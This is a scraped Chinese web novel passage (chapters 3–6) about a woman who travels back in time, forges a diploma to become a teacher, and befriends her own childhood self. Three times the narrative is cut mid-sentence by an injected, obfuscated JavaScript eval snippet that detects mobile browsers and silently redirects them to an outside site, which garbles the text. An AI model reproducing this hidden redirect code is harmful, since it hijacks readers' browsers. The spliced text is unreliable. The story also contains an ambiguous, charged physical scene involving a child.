这一下完蛋了,给小天使整黑化了。 为什么老板说她是我姐呀?她长得跟我很像吗?不会真的是家里找来的什么远房表姐给我辅辅导学习的吧?不要啊,不要问我的学习状况好吗?我们友善交友,可不可以? ——————————————————— 好吧,其实余杭清本来也没有跟喻衍出来玩,只是偶尔碰见。 对哦,余杭清妈又不允许余杭清和朋友出来玩,余杭清能出来才有鬼了。能碰见这家伙,纯纯是她毅力坚韧,每天都坚持在余杭清放学的时候出来买零食。 还打扮的花枝招展的。 反正余杭清现在走了,喻衍明天也找不着。 但是余杭清这个人还是很善良的,看在烧烤和零食的份上,还是眨了眨眼睛,让最后那颗眼泪落下来,然后一字一顿屈辱极了地说,“七十四。” 怎么才考这点分啊,喻衍捧腹大笑,一点面子都不给余杭清留。反正她知道自己不会因为这点小事就生气。 余杭清第一次碰到这样的人,对自己这么好。却在自己考砸的时候,丝毫不避讳的提起,还嘲笑自己。 忍不住,把面前没捡完的糖果往前踢了踢,嘴里稀里糊涂的念叨“真讨厌,一点眼色都没有,笑笑笑,笑你个大头鬼啊。” 但是喻衍其实笑起来还蛮好看的。 像整个人都鲜活起来了一样,整个眼睛眯起来,嘴角微微牵起,露出米白的牙齿。 算了,本来就考砸了,能让喻衍高兴起来其实也是值得的。“随你去吧。” 小姑娘对这个人好感度很高,高到几乎纵容的程度,比起自己最好的朋友也不遑多让,爱笑笑呗,那能怎么着?总不能分。小姑娘撇着嘴表达自己的不满,“烦死了。” 就当做是烧烤和零食的报答吧。那兜子零食落在地上,被她重新装起来,塞到小姑娘怀里,这一次没被拒。“哦。” 因为意图并不明显,甚至还有点讨人嫌。 可是出门分开的时候,喻衍揉了揉余杭清的头。把小姑娘顺溜的,学生头揉的胡乱炸起。然后毫不意外的得到自己一个白眼。 “你干什么摸我的头,你知不知道摸头长不高的,你自己长这么高,摸我的头,其心可诛哈。” 后来其实是余杭清长大了之后知道喻衍其实不是很高,就是正常女生的身高。可以一根手臂就把她搂进怀里。 但是那个时候余杭清长得矮啊,余杭清就觉得喻衍长得高。然后余杭清就有点自不量力的想去摸喻衍的头。“我不管,你也得让我摸一次。” 老商铺的层高不够高,小姑娘大概是跳起来,又害怕,一股劲儿使得猛,另一股劲一松。便直接落下崴了脚,被喻衍强行摁在怀里检查。“傻不傻?想摸我的头,我低头给你摸就是了,不就长不高吗?长不高我也认。脚痛不痛?” 温暖干燥的手掌落在她脚踝上,跟脚踝上跟身上的红痣相得益彰,有些轻微的肿了,不过这样敏感的地方被人毫不犹豫的按压检查,实在是有点忍不住的痒。余杭清不由得往旁边倾了倾。 喻衍不知道小姑娘想做什么,但还是全力配合,把小姑娘放在自己膝盖上,重量基本都在膝盖跟大腿,低着头探查的时候就让小姑娘得了逞。 余杭清干坏事之前还要预告一下,笑得狡黠,“是你先摸我的头的啊,我摸你可不算过分。”然后毫不犹豫的把魔爪伸向了这位新认识姐姐的蓬乱头发。 完蛋,亏了,她头发根本就没有认真梳理。我今天早上刚洗了头。 小姑娘得逞了,但是面如土色,看的喻衍忍俊不禁。 一时之间分不清谁是小孩。 想了一想,喻衍拿出手机给妈妈打了个电话。 什么啊?告诉妈妈,她们两个还能出去吗?余杭清。在心里悄悄腹诽,然后不出意料的被这个人揉了头发。 喻衍最清楚自己妈妈是个什么人。已经轻车熟路的斗智斗勇十几年。比起小姑娘简直是小巫见大巫。 “喂,是余杭清妈妈吗?我是她五年级新的英语老师,我叫喻衍。今天在路上碰见孩子了,她上次校内英语竞赛不是考了九十七点五吗?现在就是刚好手上有个竞赛,对孩子升学有帮助,想着直接辅导她,今天先报个名,您看这边跟您报备一声,可以带她过去吗?” 听筒里传来杂乱的电流音,然后对方接话,“噢,是您啊,微信群新进的那个老师。我们家孩子英语基础不错的,您这边有需要就就带着去,,晚上送回来就成。”妈妈显得格外好说话,毕竟有指导老师带着做竞赛是,这种好事,简直可遇不可求。 好吧,算喻衍厉害,竟然还是个老师。而且真的知道余杭清具体的分数,就那么水灵灵的说服妈妈了。 喻衍有些得意的晃了晃手机,底下的透明水晶花朵,晃啊晃,一下子晃的余杭清有点晕。 那时候余杭清是家里第一个孩子,而且弟弟还没出生。所以被看得很重,想方设法塞到了一个还算不错的公立小学里。 喻衍想贴近她,再没有比老师更合适的身份和途径了。 但是问题在于,突然回到十几年前,这个学校根本就没成立。 相当于十几年书白念了呗,那倒也不至于。 那时候学历这东西还没有普遍联网,所以她钻了个空子,用小刀把毕业证上面的日期刮掉,然后又重新用胶带粘了打印出来的糊上去,假装自己是本校的学生,然后拿着文凭去学校试课。 一路上惴惴不安的生怕被别人发现,真的做贼心虚。结果因为学校层次,加上县城偏远,很少有这老师愿意,竟然得到了对方相对殷切的接待,试完课之后更是赞不绝口。 女人甚至不知道自己当时是怎么把这些东西讲完的,其实已经提前备了一个星期的课,甚至可以背诵这本书的任意一个章节。可是真的走上讲台的时候还是硬生生将粉笔拗断,然后故作轻松地重新换一只同样颜色的握在手里。 板书标准漂亮,动作行云流水,发音自然流畅,嘴角挂着机械性的微笑,看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819968|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温暖亲和,上课节奏也把控的不错,四十分钟的课堂,刚好卡在四十分三十秒的时候下课。 在考上大学之前,喻衍是真的真的想过以后要做老师去的,从小学到高中,从在白板上试讲讲题,给弟弟妹妹们听到现在真正站在这样宽大的讲台上,讲给试课的校领导和主任。 甚至那时候有个很幼稚的梦想应当老师的孩子的老师,然后狠狠折磨他们,让他们抄很多很多题,特别是那种超级讨厌的老师,让她的小孩写现在作业的十倍。 虽然只是个特别幼稚的愿望,但是在学的很辛苦的那些年里也算有个指望。 喻衍很清楚,她绝对是有意占了便宜。她的学籍现在是不存在的。 某种程度上甚至算得上一种恶劣的欺骗,完完全全的伪造文凭。 选上去了却还是欢欣雀跃,像偷得了什么好东西。面容平静,心里却是惊涛骇浪的欣喜若狂。 喻衍终于可以光明正大的站在她家门前。像是在地球北辙南园的绕了一整圈,又重新回到原地,实现了小时候空茫的梦想。 喻衍以为来到这个世界几个月之后,已经变得足够坚强,可是在听到对面一阵杂乱声响后,那句简单的招呼依然让她忍不住鼻头一酸。 差点脱口而出一句,“妈妈!” 那是生她养她的母亲,尽管有时候偏向弟弟,尽管有时候言语刻薄,尽管有时候甚至不愿意让她吃饱饭,可那是她妈妈。 虽然现在只能讲是曾经的妈妈或是余杭清的妈妈,可是很久很久之前,她是她妈妈。 喻衍对她的感情复杂到了极点,既可以说是爱和濡慕,又掺杂着浓重的恨和忮忌,只忮忌不对着母亲罢了。 她对她不管不顾,却又细心浇灌,养出这样一朵畸形孤傲的木槿花。 妈妈,在终于意识到失去你的某一天,我才恍然发现我因为你恨上了很多不该恨的人。 我恨爷爷,因为听你说他在你进家门的时候,用很重的实木板凳砸过你的头,我恨奶奶,因为你说她拿走你的存折到爸爸买大车的时候才拿出来让你在生我的时候过得很窘迫,我恨爸爸,恨他让你遭遇这一切…… 诸如此类的太多了,我因为你恨过家里的每一个人,甚至是稚嫩幼小的弟弟。 弟弟从后面把板凳往后拉我,害怕我换个方向坐连带着弟弟整个人掀前去,所以任由着弟弟拉着后脑勺和背着地摔出一片青紫,我还没怪弟弟,可你却说我不该打弟弟的屁股,说我恶毒。 弟弟喜欢上从姑姑家带回来的巧克力牛奶,说喜欢喝,我就在网上买了,拿回来。我自己也喝的,可是小孩子贪杯,喝了第一代要喝第二代,我去问你,你说没关系,把弟弟喝的乳糖不耐了,晚上拉肚子,你就说我把毒下在奶里。 我减肥,爸爸带我们去买汉堡,一人一个,我那一天只有那一个汉堡是饭,小心翼翼咬了两口包起来,放在冰箱里面,还是被弟弟拿出来吃掉了,我只是有点难过,我不知道晚上吃什么,你就说我小气,说什么不能让弟弟吃呢,可是你又不会买新的给我。 此类事迹很多,就显得奇怪,我没想到你能对我说出那么刻薄的话。你说我心狠,说我恶毒,用你能想到的最难听的话骂我。 我真的恨死你了。 可是你现在不是我妈妈了。 我的爱和恨好像都没有意义了。 那个让我跟你离心的弟弟甚至都还没出生。 我以为我跟你打电话的时候会不知所措,会结结巴巴,实际上竟然出乎意料的流畅自然,就像老师跟每一个普通的家长沟通一样。 喻衍面上并无一丝异常,把手机放在耳侧却久久没有落下来,直到滴的一声那边挂掉了电话。 说是带余杭清学习去,结果又辗转到了炸鸡店。 喻衍大马金刀往柜台旁边的双人餐桌旁一坐,扬起下巴示意余杭青自己点餐。 但是余杭清胆子小,好像也知道自己错怪了人,不好意思,腼腆的低着头,站在柜台边也不讲话。“嗯……” 印象中那个时候喜欢吃虾堡,喻衍就了个虾堡,点个薯条,再点了两杯可乐。他随手把点单页放在一边,然后朝店员点点头,“就这些吧。” 她没有勉强小孩的意思,大概在家里也吃过饭了。因此只是捡着孩子爱吃的,先点了一样。 她有自信,对自己了如指掌,甚至有些骄矜的扬了下巴。余杭清肯定喜欢吃这个。 本来一下子就点到自己喜欢的,就已经让余杭清很惊讶了,偏偏这人还用这样骄纵可爱的小表情看着自己,好像专门为自己点了,自己非得开心。 这是余杭清第一次感觉到这个人在明显地迁就余杭清。小孩子向来有话直说,眼睛直愣愣的看过去,“专门给我点的吗,你怎么知道我爱吃?我要不要夸夸你?” 4. 第 4 章这算哪门子委屈 喻衍被发现了也就不遮掩,毫不犹豫的回望“对啊,小孩都喜欢,专门给你点的,试试你的口味。” 她邪肆的一挑眉,“怎么样?感不感动?惊不惊喜,意不意外?想吃什么自己再点点儿,我总不能。什么都知道,可不能让你受委屈。” 余杭清不知道,这又算哪门子受委屈,自己对着她发脾气,这会儿子还要人家来哄,实在显得娇气。 不过已经被人娇惯着了,不娇气岂不是很吃亏。干脆一股脑在菜单上把想要的都点了一遍。“这个这个,那个,还有旁边那个,我全都要。这个姐姐买单。” 姐姐不置可否的笑笑。用手拍了拍小姑娘的肩膀,“行吧,你想吃什么就点什么,我们两个人总归吃得完的。” 就是这么一惯,惯出个祖宗。 养成了余杭清的坏习惯,只要喝奶茶,最起码要买两杯,想喝的味道尽量多拿到手,喝完余杭清的,喝喻衍的,然后留半杯给喻衍喝。 但喻衍只会有点开心的看余杭清,然后眼睛亮晶晶的,好像喝自己剩下的都很高兴一样。心甘情愿的付钱。 偏偏她对这个人又实在生不起什么防备之心,明明有洁癖的,就这么习惯了一起喝? 到底是真洁癖还是假洁癖呀?饭一起吃,奶茶一起喝,都直接嘴对嘴了,也没见推据。 余杭清服了,这个人怎么长得有点小凶,结果这么好欺负呀。 好喜欢喻衍。 于是余杭清又点了一个鱼堡,两份薯条,一份甜牛奶,两份鸡米花,还有一个全鸡。 小孩子心中的喜欢就是一起吃很多很多好吃的。 其实在那之前余杭清和家人来这儿,也吃过不少了。 但是总对这儿有一种略微的敬畏之情吧,好不容易攒几块钱,然后来买一个薯条,六七块还是七八块来着,然后在那个吧台的时候就很害怕的样子,等大家点完了,然后余杭清才一个人去点。 就是那种莫名其妙带一点点害怕的感觉。 但其实好像也没什么,在现在的余杭清的角度来看,余杭清去那儿随便点个套餐,甚至就用团购可以便宜好多钱,余杭清也不会觉着有什么不适。那咋了?余杭清能省钱,当然是余杭清牛逼了。 可是当时的余杭清不会那么觉得。 余杭清只是因为点的有点少,因为余杭清没有带够足够的钱而感到怯懦,现在的余杭清不会站在之前的角度上去责备自己,因为喻衍也只是一个小孩子。 能够鼓起勇气去点餐,她就已经做得足够好了,是世界上最厉害的宝宝。 余杭清感觉挺多了,至少在那个时候的余杭清眼里一百多是很大的钱。 那时候余杭清小心翼翼的望向喻衍,连动作也变得轻手轻脚的,生怕给喻衍带来什么麻烦,回头征询喻衍的意见。“要不少点一点,这些挺贵的了?” 算是余杭清的一种坏习惯,其实余杭清今天点的,她两个人也吃不完。“完全吃不完……” 可是那个女人只是挑了挑眉,“这会儿知道害怕了,别看我,跟你说了两个人的量,吃不完你自己打包带回去。” 吃不完兜着走,其实算一种不太高兴的骂人的话。 那种言外之意就像是如果你今天不把它吃完的话,你下一次就不会再被带出来吃了。 可是看女人的动作,余杭清只觉得还会有下一次。所以这一句不算威胁的威胁也没了什么威慑力。 炸鸡汉堡全都是预制菜,没过五分钟就上来了。 然后余杭清就看见喻衍拿着包去吧台了,估计是付账去了。 好多大人有提前去吧台付款的一种习惯,不过余杭清知道她们为什么要这么做,因为她们这么付款不都是想提前结账,然后不用跟别人抢,卖对方一个人情。 但是余杭清怎么办?喻衍来带余杭清过来吃,余杭清根本就没有那个钱也不可能跟喻衍抢好吧,当时就觉得很疑惑。 况且离得这么近,待会取餐的时候一起付就好了。干嘛还要多此一举。 可是喻衍回来的时候抱着一个特别大的娃娃,然后余杭清还得拿着一张会员卡。 喻衍蹲下来跟她平视,摸着她的脸,用打湿的纸巾擦她脸上的泪痕,“我办了新的会员卡,送给你。你想吃的时候就自己来,也可以用妈妈的手机打电话叫我一起,好不好?” 大人们总是说话不算话,可是喻衍猜到了,余杭清在想什么,会有哪些顾忌。 她好像总能考虑到余杭清为什么会有那种顾虑,尽力用喻衍的方式给余杭清安全感。 没有因为余杭清的不信任而感到生气,反而站在余杭清的角度来考虑问题,像是一个美好的幻梦。 像电视上过生日的小朋友一样,余杭清有了一个大熊,喻衍说“充值送的,别人家小孩都有,你肯定也得要。”看起来毫不在意似的,余光却一直往余杭青身上瞟。 好像一只迫切得到奖励的大狗狗,有种滑稽的可爱。 余杭清没敢要。伸手往对方那边推了推,然后不出意料的把手指陷进大熊的长毛里,有些爱不释手的摸了摸。 小孩子的目光在上面反复流连,看得出来是真心喜欢的。偏偏脑子里又是另一幅说服自己的说辞,真敢要就要命了好吗?妈妈又没在身边,余杭清敢乱收别人的东西? 可是喻衍跟余杭清说,“宝贝,这是我自己想要给你的,你妈妈现在也认识我了,你可以跟她讲,这是老师给你的安慰奖。”她用手触碰她的额头,像量体温似的,不过要轻很多。 余杭清觉得好难过,特别想哭。 那天余杭清考的真的很差,平常考九十分的水平,那次只考了七十分,还是小学数学七十分,被老师叫到讲台上,然后去打手板。 特别丢脸,在余杭清的心目里就是最丢脸的事情,没有之一。 好吧,还有更丢脸的,但至少在那个时候的眼里就是最丢脸的。喻衍在心里暗暗发笑,忍不住觉得幼稚呆萌。 老师能给余杭清安慰奖,余杭清能把数学书吃了。感觉老师恨不得摇一摇余杭清的脑袋,看一看余杭清脑袋里有没有进水。 可是余杭清还是接受了,因为余杭清好像还真的蛮想要那个大熊的。 尽管它再普通不过。 但是这是余杭清第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819969|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次收到一份安慰的礼物。 这是一个特别特别伟大的象征物。 代表着有人在乎余杭清的情绪,她的情绪被人稳稳的托住了,而余杭清的所有难过都不会显得像一只无人在意的跳梁小丑。 大概也是一场美好的意外吧。 喻衍不知道余杭清这一天经历了什么,但是会用喻衍自己的方法别扭的安慰余杭清。 又吃了一次眼泪拌饭,但这是第一次没有狼吞虎咽。 因为余杭清不需要跟任何人去抢,也不用担心自己能不能吃得到,这个人就是为余杭清而来的,所有的东西也都是余杭清想吃的,而且点了很多很多。 喻衍没有跟余杭清说想开一点,也没有觉得余杭清哭丧着脸很丧气,用那双琥珀色的眼睛直愣愣的看着于杭清。心疼到微微泛红,“宝贝,你受了很多委屈。”语气婉转却坚定。 偏偏喻衍一说余杭清的眼泪就掉得更厉害了。 余杭清等这句话好像等了一辈子那么长。 朋友说想开一点,余杭清妈说有点丧气。可喻衍只是摸了摸余杭清的头,十分肯定的说,“你一定受了委屈。” 稀奇古怪的缺角被填满,她是她唯一契合的那块拼图。 跟喻衍在一起永远都是开心的。 所有的一切都显得那么契合,喻衍好像很了解余杭清喜欢什么,更离谱的是,连爱好都很一致。偏偏同样认为珍贵的东西,又对自己一点不设防御。 所有的一时兴起都得到了认真的对待,让余杭清自己不是一个人。 两个人兴致勃勃半夜一点的做规划做到凌晨三点才睡,然后第二天睡到下午两点,然后就一致的决定不去了,“在家里玩手机吧,点外卖在家吃。” 没有任何的指责,没有抱怨打乱的计划,没有后悔说那昨天晚上为什么熬夜,只是觉得“那行,都这样了,躺着又怎么样呢?难道家里不舒服吗,宝宝?”然后一块心安理得的躺平玩手机。 只会说“早上那顿竟然睡过去了,那中午吃一顿好的吧,你想吃什么呀宝贝?” 这个世界上怎么会有这么合余杭清心意的一个人? 真的爽死了。 从炸鸡店出来之后,余杭清。都是雀跃着拖着一只比自己还大的熊,蹦蹦跳跳的往前走。 可是没想到喻衍真的带余杭清去学习。 余杭清真有点儿崩溃了,“不是酒肉朋友吗?”喻衍带余杭清吃饭,然后跟着去就行了。竞赛学习什么的,不过是给妈妈的借口而已,然而她已经接受了这个设定之后又带着她去学习,就让她有种操蛋的憋屈感,“还带我学习,真服了。” 而且妈妈跟余杭清说了,不能随便去陌生人家里,余杭清觉得在外面吃东西是大庭广众之下不会有啥,但是去喻衍家里只有喻衍一个,肯定很危险,那余杭清就不去了。 所以小姑娘故作豪迈的把那只大熊扛在了一边肩膀上,空出一只手来,晃了晃喻衍的衣袖。“学习可以,但跟你先说好,我不去你家,你随便找个地方,我们再一起。” 余杭清在心里暗暗夸自己聪明,yes!就这样逃避数学题! 5. 第 5 章她是例外 那个时候好又多,超市门前还是有一排那种印着可口可乐的那种共享的桌子的,余杭清早上作业来不及补的时候就趴在那写,然后写完了再进学校。 然后喻衍就把余杭清带到那儿去了。 水灵灵的从旁边的商店里买了一本教辅,铅笔橡皮啥的文具出来。 “说学你还真学呀,你不要整这出。起码别让我学数学好吗?算我求你。”余杭清真的会崩溃的。重点是不想学数学,指导英语竞赛都还好,做数学题是真没办法。 嘴里吐槽,但是其实还挺开心的。 喻衍知道余杭清因为数学难过,所以就带着余杭清去学数学。 她清楚自己坚韧外表下的脆弱和要强,尽管装作毫不在意的样子,数学依旧是当初的她的一块心病。 之前一直觉得人逼急了,什么都能做得出来,现在发现余杭清真的是太狭隘了,至少你逼急了,数学题就做不出来。 刚开始坐在那个桌子跟前,还感觉有点冷。好家伙,做一做数学题直接红温了,“救命这都是谁出的啊?” 真想给书一起撕了,但是不可以,首先书不是余杭清的,其次教辅书其实还蛮贵的来着。 至少喻衍买的那本挺贵的,老师会从上面抄题下来,让同学们抄在本子上做,但是不要求她们买。 怎么说呢,余杭清看到喻衍买的那一刻,余杭清就有一个鬼点子诞生。 小姑娘眼珠子滴溜溜一转,“能不能把那书的答案撕给我,下次让我们抄的时候,我就可以直接抄答案了。” 喻衍断然拒绝,她花大价钱买书,可不是为了让小姑娘抄答案作弊的,虽然自己小时候经常抄作业,但是毕竟花了钱的,好歹爱惜一点嘛。 她总忍不住对自己心软,面上却是一片冷硬严厉,“不可以。” 小姑娘揪着她的衣袖晃啊晃,一直晃到她心里去,眼睛里满是期盼的光,“求你了。” 她把书拿过来,撕掉后面的答案塞进自己的包里,“求也没用。”显得不近人情。 偏偏又忍不住心软仔仔细细的叮嘱把这本没有答案的书送给了余杭清,“老师下回让抄的时候你就说你有书了,你提前在书上做,回家就可以玩了。” 随手在书上圈了几道题让余杭清做,好家伙,余杭清一看喻衍就没有认真看,随便圈几个,这么难的题也敢让我这种学渣写啊,等余杭清做出来吓死她。 这个做出来呢,不是做出正确答案,是按照她的想法和步骤算出来一个惊天地泣鬼神的答案,比如说人数算到小数点后两位这种。 然后喻衍就跟余杭清说,“余杭清找的都是你比较薄弱的地方,你先做着看,不会了在书上翻,然后有问题我讲给你。” 余杭清“靠,真小人,专门找不会的让我做是吧?能做出来个屁啊。”小姑娘眉头一皱,难受的眼睛都眯起来了。往后面一仰。没有靠背的板凳险些要翻,被喻衍一把搂在怀里。又摆洋娃娃似的摆正。 小姑娘的嘴巴气得能挂油瓶,摆正了就按那个姿势坐着,也不握笔写,又仰着头撒娇,“那你都说的是我薄弱的点,我不会嘛,你讲给我听好不好?” 大概本来就是写小说的吧,喻衍讲题的时候像讲故事,没有整个人看起来那么有锋利感,娓娓道来。 喻衍说“小数计算没有那么难,让一个一个算认真一点。” 她握着笔的手不算修长,却实在纤细,白皙,有种久不见阳光的白。一个数字一个数字的往下写,配合对温暖,清脆的声音,舒服的不像话。 然后——当着余杭清面就水灵灵的算错了。 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。 该说不说,同一个人是这样的,余杭清学的不好,未来的她也不可能好到哪去。 然后喻衍就给余杭清讲数学广角的行程问题,这下是真笑不出来了,到底谁发明的这个?又是同行又是相向而行,这么复杂的东西你让小学生做啊? 例题应该是这样的吧,以前的事情记得不清楚了,从网上随便搜了一个。 甲、乙两辆汽车分别从A、B两地同时出发,相向而行,甲汽车每小时行60千米,乙汽车每小时行50千米,经过4小时后两车相遇,A、B两地相距多少千米? 反正就是给了两个速度,然后时间和方向问路程。 然后喻衍就掰开了,揉碎了跟余杭清说。 “那玩意儿应该是叫数轴吧,反正是一个示意图,后来管它叫数轴,但是它没有方向标,那也不叫数轴,管它呢。” “大概是这个样子,两个人如果相向而行的话,是会在中间相遇的,相当于两个人一人走一部分,就把整一段路程走完了。” “那么根据这个已知来分析,只需要,根据速度和时间分别单独求甲乙两个人的路程,加起来就是总路程了。” “会了。” 余杭清这样告诉喻衍,然后喻衍整个人就开心起来了。 好像很雀跃的样子,喻衍说“我就是有当老师的天赋吧。” 那种骄矜得意,微微撅起嘴,晶亮的眸子,到现在还印刻在余杭清的心底。 让人忍不住怜惜,欢喜。 她是她最好的老师。藏在她心里。 余杭清还挺好奇的,喻衍一个老师有当老师的天赋不是很正常,学了那么久了,再没一点儿天赋,怎么教学生? “你不就是老师?”小姑娘仰着头,分心去操心老师的前程笔下一不留神儿就错了个字。 喻衍把手包在他手外面,握着她改对因为分神而写错的那个字。“我一开始不是老师。” 余杭清心里那点说不清道不明的害怕,一下子翻涌上来,咬着牙关一字一句地往外蹦。“那你一开始是做什么的?” 她眉目疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819970|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朗,眼神柔和的能滴出水来。“做会计的。就是算账。”喻衍讲什么都是讲故事似的,柔声细语。 余杭清却并不满足,打破砂锅问到底似的,一双眼睛死死盯住旁边人。“那你为什么当老师?” “为了一个小孩。” “她老在学校受委屈。” “当了老师就能护着她了。” 福利院的孩子可以接受爱心资助,却不能要求对方一定收养。 余杭清觉得此刻的自己像极了妄想被收养的孤儿,有些固执的嫉妒着那个被喻衍放在心上的小孩。 简直恨得牙痒痒。 她甚至不再关注他从前做了什么,只是一心一意地恨着那个未曾谋面的人。 大概是个特别听话懂事的小孩吧,也不知是男是女。 余杭清冷不丁冒出来一句。“那你会走吗?” 喻衍说会。 忍不住想哭又强行憋了回去。直到红肿的眼眶温暖,喻衍的大拇指落了上去。“人总有自己的事要干,我不会当一辈子老师。”暗淡寥落的眼神藏不住,她或许没有一辈子。 “只守着我几年不行吗?”余杭清忍不住得寸进尺。 纵容你第一次的人,更有可能纵容你第二次。 可偏偏喻衍给不出完整的承诺,她想守着的,可也不知道能守几年。 冷风将两个人的头发吹拂起来,喻衍笑,余杭清也笑。 蠢蠢的。 余杭清不再问这些蠢话了。 许多年之后,余杭清才恍然发觉,那天不是两个人在笑,是两个人在哭。 两个人牵着手在江边漫步,讲的难听点,就是在外面吃风。 奢望像燎原的火,一点点把心里的荒原焚烧殆尽,连一根杂草也不落下。 余杭清没头没脑的怨恨。既然为了一个小孩去做老师,那这个小孩为什么不能是我呢? 喻衍替她背着繁重的书包,另一只手抱着那只大熊,余杭清自己手上也就拿了几袋零食和打包的快餐而已,时不时往嘴里塞一点,吃得满嘴流油。 实在算不上干净。她看见喻衍拧了拧眉,往江边栏杆内侧靠了靠,手上沾上一抹灰。 可近乎是挑衅般的,她把咬了一口的炸鸡递到她嘴前。刻意用十分渴望欢喜的目光瞧着她,眸光潋滟。“姐姐,你尝尝这个,我觉得好吃,特别脆!” 余杭清的本意是激她生气,是让她嫌弃一个不怎么熟的小孩,甚至没洗手,就顺手拿了吃食喂给她。 一个坐在超市门口座椅上,都得先拿卫生纸蹭,即便碰见路上有小孩拿着蘸着番茄酱的薯条边立刻侧过身上路的女人,想必不会接受这些。 可是她感受到喻衍温热湿软的舌头,就触电似的,立刻想收回去,忍不住较劲,只能梗着胳膊,生生停在那。 她是例外。 是她绝不防备的本体。 6. 第 6 喻衍想不到小时候自己心里有这样的弯弯绕绕,没一点边界感似的大大咧咧张开嘴。还不忘蹲下来身来端出一副温柔贴心大姐姐的形象。“啊——” 总归是有点嫌弃的,若是旁的小孩抹成这样,她甚至都不愿意靠近,生怕油蹭到了自己身上。 可小姑娘把脸抹的小花猫似的。琥珀色的眼眸,爆发出明媚的亮光,像献宝似的,把喜欢的炸鸡捧到自己面前,虽然手上还有刚刚薯条没弄干净的番茄酱。 喻衍尽力避开她的手指叼走那块炸鸡,不过也不知道是她刻意捏的比较里,喻衍的唇边竟然从她的指尖蹭了过去,沾上几点番茄酱。 余杭清忍不住用食指指向她的唇边揩去,拇指按到她柔软湿润的唇,恍若不小心就塞了进去。 “姐姐,你的嘴巴是软的。” 怎么像是调情? 偏偏小孩子哪有这样的坏心思,只能怪自己思虑不纯,看了太多杂书。 热气蒸腾着,把喻衍的脸变成了涨红色,从脖颈到脸侧,无一幸免。游刃有余的样子不复,喻衍慌不择路似的,往后退,然后跑了出去。甚至抱着余杭清的熊,拎着她的书包一起。 余杭清兵不血刃地取得了胜利。 甚至乘胜追击。 追在喻衍身后喊,“怎么了?姐姐,你嘴唇软有什么问题吗?怎么突然跑了?你跑归跑,把我书包放下呀!”然后喻言就把书包放在江边的长椅上,连带着那只熊一起,手上挂着手机链跑得飞快。 余杭清笑得直不起腰来,没想到这样一个不可战胜的人,被自己摸了下嘴唇,就一败涂地。 她甚至在心里幻想,下一次托住她的下巴强硬的碾,把那樱粉色的唇捻出糜烂的血红来,要她泪眼涟涟地望着她,求她饶过。 甚至没来得及跟她讲那个英语竞赛。那个竞赛确有其事,只不过被她挪得早了些。 后来想法子给妈妈发了条短信,提醒她,记得让余杭清准备征文。就算是陪跑,能积累经验也是好的,主办方是市级教育厅,含金量还算高。 好在余杭清的作业写完了,起码解决了一桩心腹大患。 要么就是在学校里提前写作业,要么就是最后一天奋力拼搏。玩儿的时候就已经把作业忘干净了。 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。 英语提前写完了。语文背诵等于没有,周一早读背也一样的。 明天下午不用补作业了。 妈妈催余杭清写的时候就可以说已经写完了。然后就可以看一整个下午的电视,抱着机顶盒都可以。 一回到家里,余杭清就和妈妈说了今天的劳动成果。 听到关于学习的消息。女人才从伏案学习的妹妹身上分出几缕目光落在余杭清身上。“难得你有出息,想玩什么就玩去吧。” 这会儿子目光偏移,便也给那可怜小孩放了假,小姑娘哼哼唧唧的撂了笔去上厕所。 余杭清就看到女人盘算着要还老师人情。又是辅导作业,又是竞赛,也没想着给人家老师送点东西。 余杭清当时听不懂,就回卧室了,往后仰倒,就落进铺好的被子里。 她喜欢躺在床上看小说,让自己的思想徜徉在无边无际的原野里。 余杭清很早就开始看小说了。那时候妈妈充话费给余杭清送了个手机。内存虽然小,不过接打电话和很方便,而且能看电子书。 虽然后来因为一些原因,妹妹跟余杭清抢,然后爸爸把手机狠狠扔在地上,又用脚踩了下去,四分五裂,两个人谁也没玩上。 屏碎得像蜘蛛网。 家里也再没有重新买给余杭清。 她记得那个小小的手机是很早的联想,记得它白色的外壳。记得它磨砂的触感,记得她拴着的白色手机链,记得妹妹惊恐的呼叫,记得爸爸踩上去猛然两脚,然后屏幕咔嚓从中间断裂。 爸爸工作很辛苦,回来碰见自家小孩吵架,生气是正常的,情理之中。 妹妹年纪小,什么都想玩,什么都好奇。也是正常的,有所预料。 怪她自己却脑筋转不过弯儿,寸土不让,便落了个山河破碎的下场。 没有人做错事情,唯一受到伤害的只是那个四分五裂的手机。 但至少在余杭清刚拿到手机的那段时间,是真的很开心,拥有一个接触外界的窗口,无穷无尽的信息从里面涌出来,大多数的生活常识也是从里面见识到的,像是格外吸引人的潘多拉魔盒。 这个点儿,大大应该更新了。 